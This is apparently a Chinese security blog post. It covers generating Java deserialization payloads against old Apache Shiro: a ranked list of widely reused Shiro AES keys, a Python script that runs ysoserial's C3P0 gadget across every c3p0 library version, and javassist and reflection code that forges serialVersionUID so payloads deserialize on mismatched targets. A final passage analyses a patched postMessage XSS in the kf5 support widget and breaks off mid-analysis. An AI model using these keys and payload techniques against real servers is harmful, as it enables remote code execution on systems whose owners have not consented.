Generate all unserialize payload via serialVersionUID

简介

最近遇到了个shiro老版本的反序列漏洞, 但是只能在用URLDNS的时候能成功, 除了CommonsCollections在shiro上是不行的, 使用其他gadget的时候也失败了, 怀疑有SUID的原因。
java在打反序列时, 如果字节流中的serialVersionUID与目标服务器对应类中的serialVersionUID不同时就会出现异常。
在目标出现异常时, 如果会输出异常信息并且爆出SUID的情况下解决起来比较容易。
但是在通常场景下, 目标服务器都不会输出异常信息,
SUID不同原因基本都是因为jar包版本不同所造成(在未显示定义serialVersionUID的情况下, 会通过computeDefaultSUID来计算得出SUID, 不同版本jar包可能存在不同的方法导致算出的SUID不同),
在不会输出异常信息的场景下, 由于不知道目标服务器jar包的SUID, 所以只有使用所有可能的SUID来生成反序列payload一个一个的进行尝试,
所以这里通过获取所有jar包版本并且调用这些版本的jar包来生成反序列payload。

Shiro AES key

Shiro的反序列payload在经过base64解码, aes解密后才会进行反序列。
老版本shiro因为硬编码了默认AES的秘钥导致了问题, 但是很多时候遇到的并不都是默认的秘钥。不过很多代码都是抄抄改改, 所以从github上爬下来了一些用得比较多的的秘钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
4AvVhmFLUs0KTA3Kprsdag==    :   190
3AvVhmFLUs0KTA3Kprsdag== : 157
Z3VucwAAAAAAAAAAAAAAAA== : 135
2AvVhdsgUs0FSA3SDFAdag== : 114
wGiHplamyXlVB11UXWol8g== : 35
kPH+bIxk5D2deZiIxcaaaA== : 27
fCq+/xW488hMTCD+cmJ3aQ== : 9
1QWLxg+NYmxraMoxAXu/Iw== : 9
ZUdsaGJuSmxibVI2ZHc9PQ== : 8
L7RioUULEFhRyxM7a2R/Yg== : 5
6ZmI6I2j5Y+R5aSn5ZOlAA== : 5
r0e3c16IdVkouZgk1TKVMg== : 4
ZWvohmPdUsAWT3=KpPqda : 4
5aaC5qKm5oqA5pyvAAAAAA== : 4
bWluZS1hc3NldC1rZXk6QQ== : 3
a2VlcE9uR29pbmdBbmRGaQ== : 3
WcfHGU25gNnTxTlmJMeSpw== : 3
LEGEND-CAMPUS-CIPHERKEY== : 3
3AvVhmFLUs0KTA3Kprsdag == : 3

Generate payload

Ysoserial是一个maven项目, 从github上clone下来后首先编译该项目。
git clone https://github.com/frohoff/ysoserial
mvn compile
compile会编译该项目并且下载该项目所需要的jar包, 编译生成的字节码在target目录当中。
这里通过修改classpath来实现加载不同版本的jar包,
在classpath中, 两个不同版本的jar包, 实际项目中会调用的是先定义的jar包。
所以这里在修改classpath时, 将需要修改版本的jar包定义在最前, 覆盖掉ysoserial自带的jar包。
写了一个很糙的 勉强能用的小脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from subprocess import Popen,PIPE
from xml.dom.minidom import *
import os

repo_url = "http://uk.maven.org/maven2/com/mchange/c3p0/maven-metadata.xml"
mvn_home = "/Users/yulegeyu/.m2/repository"
yso_path = "/tmp/ysoserial/target/classes"
gadget = "C3P0"
command = "http://www.baidu.com | base64"

res = requests.get(repo_url)

html = res.content
root = parseString(html.decode("utf-8"))

groupId = root.getElementsByTagName("groupId")[0].firstChild.data
artifactId = root.getElementsByTagName("artifactId")[0].firstChild.data

for i in root.getElementsByTagName("version"):
version = i.firstChild.data
if version.find('-pre') > -1:
continue
jar_path = mvn_home + '/' + groupId.replace('.', '/') + '/' + artifactId + '/' + version + '/' + artifactId + '-' + version + '.jar'
cmd = "mvn dependency:get -DremoteRepositories=http://repo1.maven.org/maven2/ -DgroupId=%s -DartifactId=%s -Dversion=%s" \
% (groupId, artifactId, version)
child = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
child.wait()

cmd2 = "java -cp {0}:{2}:{1}/net/iharder/base64/2.3.9/base64-2.3.9.jar:{1}/commons-io/commons-io/2.6/commons-io-2.6.jar:{1}/org/reflections/reflections/0.9.9/reflections-0.9.9.jar:{1}/com/google/guava/guava/15.0/guava-15.0.jar:{1}/com/google/code/findbugs/annotations/2.0.1/annotations-2.0.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-api/2.1.1/shrinkwrap-resolver-api-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-spi/2.1.1/shrinkwrap-resolver-spi-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-api-maven/2.1.1/shrinkwrap-resolver-api-maven-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-spi-maven/2.1.1/shrinkwrap-resolver-spi-maven-2.1.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-api-maven-archive/2.1.1/shrinkwrap-resolver-api-maven-archive-2.1.1.jar:{1}/org/jboss/shrinkwrap/shrinkwrap-api/1.2.1/shrinkwrap-api-1.2.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-impl-maven/2.1.1/shrinkwrap-resolver-impl-maven-2.1.1.jar:{1}/org/eclipse/aether/aether-api/0.9.0.M2/aether-api-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-impl/0.9.0.M2/aether-impl-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-spi/0.9.0.M2/aether-spi-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.jar:{1}/org/eclipse/aether/aether-connector-wagon/0.9.0.M2/aether-connector-wagon-0.9.0.M2.jar:{1}/org/apache/maven/maven-aether-provider/3.1.1/maven-aether-provider-3.1.1.jar:{1}/org/apache/maven/maven-model/3.1.1/maven-model-3.1.1.jar:{1}/org/apache/maven/maven-model-builder/3.1.1/maven-model-builder-3.1.1.jar:{1}/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.jar:{1}/org/apache/maven/maven-repository-metadata/3.1.1/maven-repository-metadata-3.1.1.jar:{1}/org/apache/maven/maven-settings/3.1.1/maven-settings-3.1.1.jar:{1}/org/apache/maven/maven-settings-builder/3.1.1/maven-settings-builder-3.1.1.jar:{1}/org/codehaus/plexus/plexus-interpolation/1.19/plexus-interpolation-1.19.jar:{1}/org/codehaus/plexus/plexus-utils/3.0.15/plexus-utils-3.0.15.jar:{1}/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar:{1}/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar:{1}/org/apache/maven/wagon/wagon-provider-api/2.6/wagon-provider-api-2.6.jar:{1}/org/apache/maven/wagon/wagon-file/2.6/wagon-file-2.6.jar:{1}/org/apache/maven/wagon/wagon-http-lightweight/2.6/wagon-http-lightweight-2.6.jar:{1}/org/apache/maven/wagon/wagon-http-shared/2.6/wagon-http-shared-2.6.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-impl-maven-archive/2.1.1/shrinkwrap-resolver-impl-maven-archive-2.1.1.jar:{1}/org/jboss/shrinkwrap/shrinkwrap-impl-base/1.2.1/shrinkwrap-impl-base-1.2.1.jar:{1}/org/jboss/shrinkwrap/shrinkwrap-spi/1.2.1/shrinkwrap-spi-1.2.1.jar:{1}/org/jboss/shrinkwrap/resolver/shrinkwrap-resolver-spi-maven-archive/2.1.1/shrinkwrap-resolver-spi-maven-archive-2.1.1.jar:{1}/org/eclipse/sisu/org.eclipse.sisu.plexus/0.0.0.M5/org.eclipse.sisu.plexus-0.0.0.M5.jar:{1}/org/sonatype/sisu/sisu-guice/3.1.0/sisu-guice-3.1.0-no_aop.jar:{1}/org/eclipse/sisu/org.eclipse.sisu.inject/0.0.0.M5/org.eclipse.sisu.inject-0.0.0.M5.jar:{1}/org/codehaus/plexus/plexus-compiler-javac/2.3/plexus-compiler-javac-2.3.jar:{1}/org/codehaus/plexus/plexus-compiler-api/2.3/plexus-compiler-api-2.3.jar:{1}/org/javassist/javassist/3.19.0-GA/javassist-3.19.0-GA.jar:{1}/commons-codec/commons-codec/1.9/commons-codec-1.9.jar:{1}/org/jenkins-ci/main/remoting/2.55/remoting-2.55.jar:{1}/org/jenkins-ci/constant-pool-scanner/1.2/constant-pool-scanner-1.2.jar:{1}/org/jboss/logging/jboss-logging/3.3.0.Final/jboss-logging-3.3.0.Final.jar:{1}/org/jboss/remoting/jboss-remoting/4.0.19.Final/jboss-remoting-4.0.19.Final.jar:{1}/org/jboss/xnio/xnio-api/3.3.4.Final/xnio-api-3.3.4.Final.jar:{1}/org/jboss/jboss-common-core/2.5.0.Final/jboss-common-core-2.5.0.Final.jar:{1}/org/jboss/xnio/xnio-nio/3.3.4.Final/xnio-nio-3.3.4.Final.jar:{1}/org/jboss/sasl/jboss-sasl/1.0.5.Final/jboss-sasl-1.0.5.Final.jar:{1}/org/jboss/remotingjmx/remoting-jmx/2.0.1.Final/remoting-jmx-2.0.1.Final.jar:{1}/org/jboss/logging/jboss-logging-processor/1.2.0.Final/jboss-logging-processor-1.2.0.Final.jar:{1}/org/jboss/jdeparser/jdeparser/1.0.0.Final/jdeparser-1.0.0.Final.jar:{1}/org/jboss/marshalling/jboss-marshalling/1.4.10.Final/jboss-marshalling-1.4.10.Final.jar:{1}/org/jboss/marshalling/jboss-marshalling-river/1.4.10.Final/jboss-marshalling-river-1.4.10.Final.jar:{1}/commons-collections/commons-collections/3.1/commons-collections-3.1.jar:{1}/org/beanshell/bsh/2.0b5/bsh-2.0b5.jar:{1}/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar:{1}/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar:{1}/org/apache/commons/commons-collections4/4.0/commons-collections4-4.0.jar:{1}/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar:{1}/org/springframework/spring-core/4.1.4.RELEASE/spring-core-4.1.4.RELEASE.jar:{1}/org/springframework/spring-beans/4.1.4.RELEASE/spring-beans-4.1.4.RELEASE.jar:{1}/org/hibernate/hibernate-core/4.3.11.Final/hibernate-core-4.3.11.Final.jar:{1}/org/jboss/logging/jboss-logging-annotations/1.2.0.Beta1/jboss-logging-annotations-1.2.0.Beta1.jar:{1}/org/jboss/spec/javax/transaction/jboss-transaction-api_1.2_spec/1.0.0.Final/jboss-transaction-api_1.2_spec-1.0.0.Final.jar:{1}/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar:{1}/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.jar:{1}/org/hibernate/common/hibernate-commons-annotations/4.0.5.Final/hibernate-commons-annotations-4.0.5.Final.jar:{1}/org/hibernate/javax/persistence/hibernate-jpa-2.1-api/1.0.0.Final/hibernate-jpa-2.1-api-1.0.0.Final.jar:{1}/antlr/antlr/2.7.7/antlr-2.7.7.jar:{1}/org/jboss/jandex/1.1.0.Final/jandex-1.1.0.Final.jar:{1}/org/springframework/spring-aop/4.1.4.RELEASE/spring-aop-4.1.4.RELEASE.jar:{1}/aopalliance/aopalliance/1.0/aopalliance-1.0.jar:{1}/net/sf/json-lib/json-lib/2.4/json-lib-2.4-jdk15.jar:{1}/commons-lang/commons-lang/2.5/commons-lang-2.5.jar:{1}/net/sf/ezmorph/ezmorph/1.0.6/ezmorph-1.0.6.jar:{1}/commons-fileupload/commons-fileupload/1.3/commons-fileupload-1.3.jar:{1}/org/apache/wicket/wicket-util/6.23.0/wicket-util-6.23.0.jar:{1}/org/apache/shiro/shiro-core/1.4.0/shiro-core-1.4.0.jar:{1}/org/apache/shiro/shiro-lang/1.4.0/shiro-lang-1.4.0.jar:{1}/org/apache/shiro/shiro-cache/1.4.0/shiro-cache-1.4.0.jar:{1}/org/apache/shiro/shiro-crypto-hash/1.4.0/shiro-crypto-hash-1.4.0.jar:{1}/org/apache/shiro/shiro-crypto-core/1.4.0/shiro-crypto-core-1.4.0.jar:{1}/org/apache/shiro/shiro-crypto-cipher/1.4.0/shiro-crypto-cipher-1.4.0.jar:{1}/org/apache/shiro/shiro-config-core/1.4.0/shiro-config-core-1.4.0.jar:{1}/org/apache/shiro/shiro-config-ogdl/1.4.0/shiro-config-ogdl-1.4.0.jar:{1}/org/apache/shiro/shiro-event/1.4.0/shiro-event-1.4.0.jar:~/.m2/repository/com/mchange/c3p0/0.9.5.2/c3p0-0.9.5.2.jar:{1}/com/mchange/mchange-commons-java/0.2.11/mchange-commons-java-0.2.11.jar:{1}/javax/servlet/javax.servlet-api/3.1.0/javax.servlet-api-3.1.0.jar:{1}/org/apache/myfaces/core/myfaces-impl/2.2.9/myfaces-impl-2.2.9.jar:{1}/org/apache/myfaces/core/myfaces-api/2.2.9/myfaces-api-2.2.9.jar:{1}/org/apache/geronimo/specs/geronimo-atinject_1.0_spec/1.0/geronimo-atinject_1.0_spec-1.0.jar:{1}/commons-digester/commons-digester/1.8/commons-digester-1.8.jar:{1}/xalan/xalan/2.7.2/xalan-2.7.2.jar:{1}/xalan/serializer/2.7.2/serializer-2.7.2.jar:{1}/rome/rome/1.0/rome-1.0.jar:{1}/jdom/jdom/1.0/jdom-1.0.jar:{1}/org/python/jython-standalone/2.5.2/jython-standalone-2.5.2.jar:{1}/rhino/js/1.7R2/js-1.7R2.jar:{1}/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar:{1}/org/jboss/weld/weld-core/1.1.33.Final/weld-core-1.1.33.Final.jar:{1}/org/jboss/weld/weld-api/1.1.Final/weld-api-1.1.Final.jar:{1}/org/jboss/weld/weld-spi/1.1.Final/weld-spi-1.1.Final.jar:{1}/javax/annotation/jsr250-api/1.0/jsr250-api-1.0.jar:{1}/org/jboss/spec/javax/interceptor/jboss-interceptors-api_1.1_spec/1.0.0.Beta1/jboss-interceptors-api_1.1_spec-1.0.0.Beta1.jar:{1}/org/slf4j/slf4j-ext/1.7.2/slf4j-ext-1.7.2.jar:{1}/ch/qos/cal10n/cal10n-api/0.7.7/cal10n-api-0.7.7.jar:{1}/org/jboss/interceptor/jboss-interceptor-core/2.0.0.Final/jboss-interceptor-core-2.0.0.Final.jar:{1}/org/jboss/interceptor/jboss-interceptor-spi/2.0.0.Final/jboss-interceptor-spi-2.0.0.Final.jar:{1}/javax/enterprise/cdi-api/1.0-SP1/cdi-api-1.0-SP1.jar:{1}/org/jboss/interceptor/jboss-interceptor-api/1.1/jboss-interceptor-api-1.1.jar:{1}/javax/inject/javax.inject/1/javax.inject-1.jar:{1}/javax/interceptor/javax.interceptor-api/3.1/javax.interceptor-api-3.1.jar:{1}/org/slf4j/slf4j-api/1.7.21/slf4j-api-1.7.21.jar:{1}/org/clojure/clojure/1.8.0/clojure-1.8.0.jar:{1}/com/vaadin/vaadin-server/7.7.14/vaadin-server-7.7.14.jar:{1}/com/vaadin/vaadin-sass-compiler/0.9.13/vaadin-sass-compiler-0.9.13.jar:{1}/org/w3c/css/sac/1.3/sac-1.3.jar:{1}/com/vaadin/external/flute/flute/1.3.0.gg2/flute-1.3.0.gg2.jar:{1}/com/vaadin/vaadin-shared/7.7.14/vaadin-shared-7.7.14.jar:{1}/org/jsoup/jsoup/1.8.3/jsoup-1.8.3.jar:{1}/org/mortbay/jasper/apache-el/8.0.27/apache-el-8.0.27.jar" \
" ysoserial.GeneratePayload {3} {4}".format(yso_path, mvn_home, jar_path, gadget, command)
print(version)
os.system(cmd2)

-w1351

Modify ysoserial jar serialVersionUID

简介

Java在反序列时, 会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行校验, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。

1
2
3
4
5
6
7
8
9
if (model.serializable == osc.serializable &&
!cl.isArray() &&
suid != osc.getSerialVersionUID()) {
throw new InvalidClassException(osc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " +
osc.getSerialVersionUID());
}

之前做JEECMS的反序列的时候, 解决C3P0 SUID不同的方法是直接通过修改Ysoeriali C3P0 JAR包的版本与目标环境的JAR包版本一致使SUID一致。
最近闲得想试试通过反射来修改Ysoeriali JAR包的SUID来使SUID一致进行反序列。

类未定义serialVersionUID属性

测试Jar包 服务端 C3P0 0.9.1.1、ysoserial C3P0 0.9.5.2,
-w927
提示本地jar包的SUID为7387108436934414104
而字节流的SUID为-2440162180985815128, SUID不一致爆出异常。

在com.mchange.v2.c3p0.PoolBackedDataSource类中,

1
2
3
4
5
6
7
8
9
10
11
12
13
public final class PoolBackedDataSource extends AbstractPoolBackedDataSource implements PooledDataSource {
public PoolBackedDataSource(boolean autoregister) {
super(autoregister);
}

public PoolBackedDataSource() {
this(true);
}

public PoolBackedDataSource(String configName) {
super(configName);
}
}

未定义serialVersionUID属性。

如果序列化的类里没有显示定义serialVersionUID属性, 那么会通过computeDefaultSUID方法计算得出SUID。

1
2
3
4
5
6
7
8
9
10
11
12
13
public long getSerialVersionUID() {
// REMIND: synchronize instead of relying on volatile?
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run() {
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}

computeDefaultSUID的大概实现就是通过反射获取到反序列类的成员属性,方法,实现接口等以及它们的修饰符输出到流中, 最后SHA HASH生成SUID。
在这里计算SUID的时候 没有用到成员属性的值以及方法的具体实现, 所以如果修改了成员属性的值和方法的实现是不存在影响的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
private static long computeDefaultSUID(Class<?> cl) {
if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl))
{
return 0L;
}

try {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
DataOutputStream dout = new DataOutputStream(bout);

dout.writeUTF(cl.getName());

int classMods = cl.getModifiers() &
(Modifier.PUBLIC | Modifier.FINAL |
Modifier.INTERFACE | Modifier.ABSTRACT);

/*
* compensate for javac bug in which ABSTRACT bit was set for an
* interface only if the interface declared methods
*/
Method[] methods = cl.getDeclaredMethods();
if ((classMods & Modifier.INTERFACE) != 0) {
classMods = (methods.length > 0) ?
(classMods | Modifier.ABSTRACT) :
(classMods & ~Modifier.ABSTRACT);
}
dout.writeInt(classMods);

if (!cl.isArray()) {
/*
* compensate for change in 1.2FCS in which
* Class.getInterfaces() was modified to return Cloneable and
* Serializable for array classes.
*/
Class<?>[] interfaces = cl.getInterfaces();
String[] ifaceNames = new String[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
ifaceNames[i] = interfaces[i].getName();
}
Arrays.sort(ifaceNames);
for (int i = 0; i < ifaceNames.length; i++) {
dout.writeUTF(ifaceNames[i]);
}
}

Field[] fields = cl.getDeclaredFields();
MemberSignature[] fieldSigs = new MemberSignature[fields.length];
for (int i = 0; i < fields.length; i++) {
fieldSigs[i] = new MemberSignature(fields[i]);
}
Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.name.compareTo(ms2.name);
}
});
for (int i = 0; i < fieldSigs.length; i++) {
MemberSignature sig = fieldSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
Modifier.TRANSIENT);
if (((mods & Modifier.PRIVATE) == 0) ||
((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))
{
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature);
}
}

if (hasStaticInitializer(cl)) {
dout.writeUTF("<clinit>");
dout.writeInt(Modifier.STATIC);
dout.writeUTF("()V");
}

Constructor<?>[] cons = cl.getDeclaredConstructors();
MemberSignature[] consSigs = new MemberSignature[cons.length];
for (int i = 0; i < cons.length; i++) {
consSigs[i] = new MemberSignature(cons[i]);
}
Arrays.sort(consSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.signature.compareTo(ms2.signature);
}
});
for (int i = 0; i < consSigs.length; i++) {
MemberSignature sig = consSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF("<init>");
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}

MemberSignature[] methSigs = new MemberSignature[methods.length];
for (int i = 0; i < methods.length; i++) {
methSigs[i] = new MemberSignature(methods[i]);
}
Arrays.sort(methSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
int comp = ms1.name.compareTo(ms2.name);
if (comp == 0) {
comp = ms1.signature.compareTo(ms2.signature);
}
return comp;
}
});
for (int i = 0; i < methSigs.length; i++) {
MemberSignature sig = methSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}

dout.flush();

MessageDigest md = MessageDigest.getInstance("SHA");
byte[] hashBytes = md.digest(bout.toByteArray());
long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
hash = (hash << 8) | (hashBytes[i] & 0xFF);
}
return hash;
} catch (IOException ex) {
throw new InternalError(ex);
} catch (NoSuchAlgorithmException ex) {
throw new SecurityException(ex.getMessage());
}
}

这里来对比一下两个版本C3P0的com.mchange.v2.c3p0.PoolBackedDataSource

0.9.5.2版本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.mchange.v2.c3p0;

import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource;

public final class PoolBackedDataSource extends AbstractPoolBackedDataSource implements PooledDataSource {
public PoolBackedDataSource(boolean autoregister) {
super(autoregister);
}

public PoolBackedDataSource() {
this(true);
}

public PoolBackedDataSource(String configName) {
this();
this.initializeNamedConfig(configName, false);
}

public String toString(boolean show_config) {
return this.toString();
}
}

0.9.1.1版本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.mchange.v2.c3p0;

import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource;

public final class PoolBackedDataSource extends AbstractPoolBackedDataSource implements PooledDataSource {
public PoolBackedDataSource(boolean autoregister) {
super(autoregister);
}

public PoolBackedDataSource() {
this(true);
}

public PoolBackedDataSource(String configName) {
super(configName);
}
}

两个版本的com.mchange.v2.c3p0.PoolBackedDataSource类中都没有定义SUID, 所以通过computeDefaultSUID来得出SUID, 而且可以明显的看出 在高版本的C3P0当中多了一个toString方法, 必然两个版本经过computeDefaultSUID得到的SUID不同。

对于这种没有显示定义SUID的场景, 大概想了几种方法。

1 反射

尝试通过反射添加SUID属性, 然后再修改属性值为7387108436934414104。
但是翻了下文档, 没看到反射动态添加属性这个操作, 就只有放弃了。

2 Hook

Hook computeDefaultSUID方法, 如果传入的类是com.mchange.v2.c3p0.PoolBackedDataSource, 直接修改返回值为7387108436934414104。
但是找了一下 都没找到个合适的能hook class的框架,
就直接用idea来”hook”了。
在computeDefaultSUID里下个断点,

-w971
把hash修改为7387108436934414104
-w602

就不会在出现SUID异常了。
-w1075

3 修改字节码

直接使用javassist修改com.mchange.v2.c3p0.PoolBackedDataSource的字节码, 给它添加上一个值为7387108436934414104的SUID属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
ClassPool pool = ClassPool.getDefault();
try {
CtClass cls = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
CtField field = CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls);
cls.addField(field);
cls.writeFile();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

修改字节码后, 重新打包jar包 加载到ysoserial当中,
-w849
serialVersionUID已经定义上。
再次生成payload,
-w1251
不再出现SUID异常。
-w1131

类显式定义serialVersionUID属性

如果序列化的类显示定义了serialVersionUID, 只是值不同造成的异常解决起来就比较简单了, 直接通过反射修改该属性值即可。
由于每一个SUID属性的修饰符都是private static final,数据类型为long。
final修饰的属性没法通过反射直接修改属性值, 所以需要先通过反射修改SUID的修饰符 把final修饰符给去掉。
去掉final之后, 再修改SUID的属性值, 最后再把final修饰符重新添加回去即可。
假设(这是我自己改代码造的场景了)

-w1109
YSO的C3P0 Jar包 SUID为7387108436934414104, 打反序列时提示
-w869
所以此时要把yso里的SUID从7387108436934414104修改为-2440162180985815128.
因为这时yso C3P0包存在SUID只是值不同而已, 所以直接利用反射来修改。
在生成payload之前把suid改掉,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try {
Class clazz = Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource");
Object obj = clazz.newInstance();

Field field = clazz.getDeclaredField("serialVersionUID");
field.setAccessible(true);

Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(obj,-2440162180985815128L);
modifersField.setInt(field, field.getModifiers() & Modifier.FINAL);

} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
}

-w932

-w1064

总结

我TM真是闲, 还是直接修改版本方便多了。。。

逸创云客服系统 鸡肋xss分析

简介

一套云客服系统, 以前我salt哥教我挖的xss, 自己以前做测试的时候遇到过几次用这系统的 打poc都能成功, 不过最近又遇到了一个, 尝试用以前的poc打的时候,发现失败了。看了一下最新的代码, 发现已经修复了。
修复方法为
1: 限制了postmessage的来源必须是support.kf5.com
2: showNotice方法当中, 把innerHTML改成了innerText
尝试绕过了一下, 算是失败了吧。

分析

这里首先以官网(http://www.kf5.com) 为例测试一下, 直接看看修复后的代码
每一个要使用这套云客户系统的客户, 都需要引入一个js文件。
http://assets-cdn.kf5.com//supportbox//main.js

1
2
3
<script type="text/javascript">
document.write('<script src="\/\/assets-cdn.kf5.com\/supportbox\/main.js?' + (new Date).getDay() + '" id="kf5-provide-supportBox" kf5-domain="support.kf5.com" charset="utf-8"><\/script>');
</script>

在这个js文件当中,

1
2
3
4
5
6
7
8
var easing = {
swing: function (t) {
return .5 - Math.cos(t * Math.PI) / 2
}, linear: function (t) {
return t
}
};
setup(), autoPopupService()

调用了setup方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function setup() {
bindEvent(window, "DOMContentLoaded", KF5SupportBox.loadConfig), bindEvent(window, "load", KF5SupportBox.loadConfig), bindEvent(window.document, "page:load", KF5SupportBox.loadConfig), bindEvent(window.document, "onreadystatechange", function () {
"complete" === window.document.readyState && KF5SupportBox.loadConfig()
}), window.initializeKF5SupportBox || (window.initializeKF5SupportBox = KF5SupportBox.loadConfig), bindEvent(window, "message", function (t) {
var e, n, o;
if (t.origin.match(/^https?:\/\/(.*)$/)[1] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/), n = e[1], o = e[2]), "CMD::showSupportbox" === n) KF5SupportBox.instance && (KF5SupportBox.instance.open(), KF5SupportBox.instance.hideButton()); else if ("CMD::hideSupportbox" === n) KF5SupportBox.instance && KF5SupportBox.instance.close(function () {
KF5SupportBox.instance.showButton()
}); else if ("CMD::resizeIframe" === n) ; else if ("CMD::kf5Notice" === n) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON.parse(o)); else if ("CMD::newMsgCountNotice" === n) {
if (KF5SupportBox.instance) {
var i = KF5SupportBox.instance.getElement("#msg-number");
o = parseInt(o), o ? (i.style.display = "block", i.innerHTML = o < 10 ? o : "...") : (i.style.display = "none", i.innerHTML = "")
}
} else if ("CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement("#kf5-view-image"),
a = KF5SupportBox.instance.getElement("#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ? JSON.parse(o) : {}, a.style.display = "block", r.setAttribute("href", o.url), r.setAttribute("title", o.name || ""), s.setAttribute("src", o.url), s.setAttribute("alt", o.name || "")
}
} else "CMD::iframeReady" === n && KF5SupportBox.instance.onIframeReady()
}), "string" == typeof lang && lang && KF5SupportBoxAPI.ready(function () {
KF5SupportBoxAPI.useLang(lang)
})
}

在setup方法当中, 可以看到监听了window对象的message事件, 但是限制了来源(修复1), 在来源符合要求的情况下直接往这个页面postmessage就可以触发这个事件了。

1
if (t.origin.match(/^https?:\/\/(.*)$/)[1] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/), n = e[1], o = e[2])

判断了postmessage的来源是不是kf5Domain, 如果是的话,才会进入下一个if然后再给n、o变量赋值。 如果不是的话, 没法进入if, n、o变量就都为两个未初始化的变量, 就利用不上了。

1
2
3
script = window.document.getElementById("kf5-provide-supportBox"),
